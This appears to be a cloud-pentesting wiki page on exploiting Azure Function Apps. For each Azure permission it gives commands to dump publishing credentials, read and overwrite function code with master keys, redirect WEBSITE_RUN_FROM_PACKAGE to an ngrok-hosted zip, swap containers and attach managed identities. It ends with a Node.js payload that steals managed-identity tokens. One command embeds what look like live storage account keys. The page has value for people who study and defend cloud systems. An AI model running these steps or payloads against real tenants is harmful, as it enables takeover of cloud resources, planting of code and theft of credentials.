Azure Function Apps Explotation

Basic Auth

The permissions needed are:

  • Microsoft.Web/sites/publishxml/action
  • Microsoft.Web/sites/basicPublishingCredentialsPolicies/write

Azure Functions allows to enable “Basic Auth” which basically could allow to access and deploy code using SCM (Source Code Manager) and FTP with credentials composed by a username and a password.

It’s possible to get the credentials and SCM and FTP URLs using the first permission with the API:

az functionapp deployment list-publishing-profiles \
    --name <app-name> \
    --resource-group <res-name> \
    --output json

If SCM or FTP credentials appear as redacted, you need to enable them (using the second permission).

To update the code using SCM credentials you can use the API directly or access https://<app-name>.scm.azurewebsites.net/BasicAuth with the obtained credentials. The code must be inside a ZIP file.

To update the code using FTP it’s possible to connect to it and change the code of the file that will be executed using FTPS.

Keys

Get the master key

The permission nedeed is:

  • Microsoft.Web/sites/host/listkeys/action

This permission allows to list the function, master and system keys, but not the host one.

az functionapp keys list --resource-group <res_group> --name <func-name>

Get the source code

curl "https://<func-app-name>.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=$MASTER_KEY" -v

Modify code

The permission needed is:

  • fileServices/fileshares/files/write
curl -s -X PUT \
  "https://$FUNCTION_NAME.azurewebsites.net/admin/vfs/site/wwwroot/hello-world/index.js?code=$MASTER_KEY" \
  -H "Content-Type: application/octet-stream" \
  -H "If-Match: *" \
  --data-binary @/tmp/payload/HttpTrigger/index.js
az storage file upload \
  --share-name $SHARE_NAME \
  --account-name $STORAGE_ACCOUNT \
  --account-key $STORAGE_KEY \
  --source /tmp/payload/HttpTrigger/index.js \
  --path site/wwwroot/hello-world/index.js

Get the host key

The permission needed is:

  • Microsoft.Web/sites/functions/listKeys/action

This permission allows to get the default key, of the specified function with:

az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"

Create / update function key

The permission needed is:

  • Microsoft.Web/sites/host/functionKeys/write

This permission allows to create/update a function key of the specified function with:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-name> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Create / update master key

The permission needed is:

  • Microsoft.Web/sites/host/masterKey/write

This permission allows to create/update a master key to the specified function with:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-name> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Remember that with this key you can also access the source code and modify it!

### Create/Update system key

The permission needed is:

  • Microsoft.Web/sites/host/systemKeys/write

This permission allows to create/update a system function key to the specified function with:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-name> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Settings

Get the settings

The permission needed is:

  • **Microsoft.Web/sites/config/list/action **

This permission allows to get the settings of a function. Inside these configurations it might be possible to find the default values AzureWebJobsStorage or WEBSITE_CONTENTAZUREFILECONNECTIONSTRING which contains an account key to access the blob storage of the function with FULL permissions.

az functionapp config appsettings list --name <func-name> --resource-group <res-group>

The setting WEBSITE_RUN_FROM_PACKAGE, if exists, will have a URL (potentially a SAS) to the source code the Function is executing.

Moreover, this permission also allows to get the SCM username and password (if enabled) with:

az rest --method POST \
  --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"

### Get the setting and modify it

The permissions required are:

  • Microsoft.Web/sites/config/list/action
  • Microsoft.Web/sites/config/write

These permissions allows to list the config values of a function as we have seen before plus modify these values. It’s therefore possible to set the value of the setting WEBSITE_RUN_FROM_PACKAGE pointing to a URL to a zip file containing the new code to execute inside a web application.

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'

Modify code application

The permissions required is:

  • Microsoft.Web/sites/hostruntime/vfs/write

With this permission it’s possible to modify the code of an application through the web console (or through the following API endpoints):

az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body

Another option using the SCM endpoint:

az rest --method PUT --url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
	[...REST OF THE CODE HERE..]'

Read Source code

The permissions required is:

  • Microsoft.Web/sites/hostruntime/vfs/read

This permission allows to read the source code of the app through the VFS:

az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"

Modify Container run

The following permissions are required:

  • Microsoft.Web/sites/config/write
  • Microsoft.Web/sites/config/list/action
  • Microsoft.Web/sites/read
  • Microsoft.Web/sites/config/list/action
  • Microsoft.Web/sites/config/read

With these permissions it’s possible to modify the container run by a function app that was configured to run a container. This would allow an attacker to upload a malicious azure function container app to docker hub (for example) and make the function execute it.

az functionapp config container set --name <app-name> \
    --resource-group <res-group> \
    --image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"

Attach MI

The following permissions are required:

  • Microsoft.Web/sites/write
  • Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
  • Microsoft.App/managedEnvironments/join/action
  • Microsoft.Web/sites/read
  • Microsoft.Web/sites/operationresults/read

With these permissions it’s possible to attach a new user managed identity to a function. If the function was compromised this would allow to escalate privileges to any user managed identity.

az functionapp identity assign \
    --name <app-name> \
    --resource-group <res-group> \
    --identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<my-name>

Enable function endpoints

The following permissions are required:

  • Microsoft.Web/sites/config/write
  • Microsoft.Web/sites/functions/properties/read

This permissions allows to enable function endpoints that might be disabled (or disable them):

az functionapp config appsettings set \
  --name <app-name> \
  --resource-group <res-group> \
  --settings "AzureWebJobs.<endpoint-name>.Disabled=false"

It’s also possible to see if a function is enabled or disabled in the following URL (using the permission in parenthesis):

az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"

Node.js payload to steal MI

// index.js — place in site/wwwroot/<func-name>/
const https = require('https');
const http = require('http');

module.exports = async function (context, req) {
    const endpoint = process.env.IDENTITY_ENDPOINT;
    const header   = process.env.IDENTITY_HEADER;
    const url = `${endpoint}?resource=https://vault.azure.net&api-version=2019-08-01`;

    const token = await new Promise((resolve, reject) => {
        const mod = url.startsWith('https') ? https : http;
        mod.get(url, { headers: { 'X-IDENTITY-HEADER': header } }, (res) => {
            let data = '';
            res.on('data', chunk => data += chunk);
            res.on('end', () => resolve(JSON.parse(data)));
        }).on('error', reject);
    });

    context.res = { status: 200, body: token };
};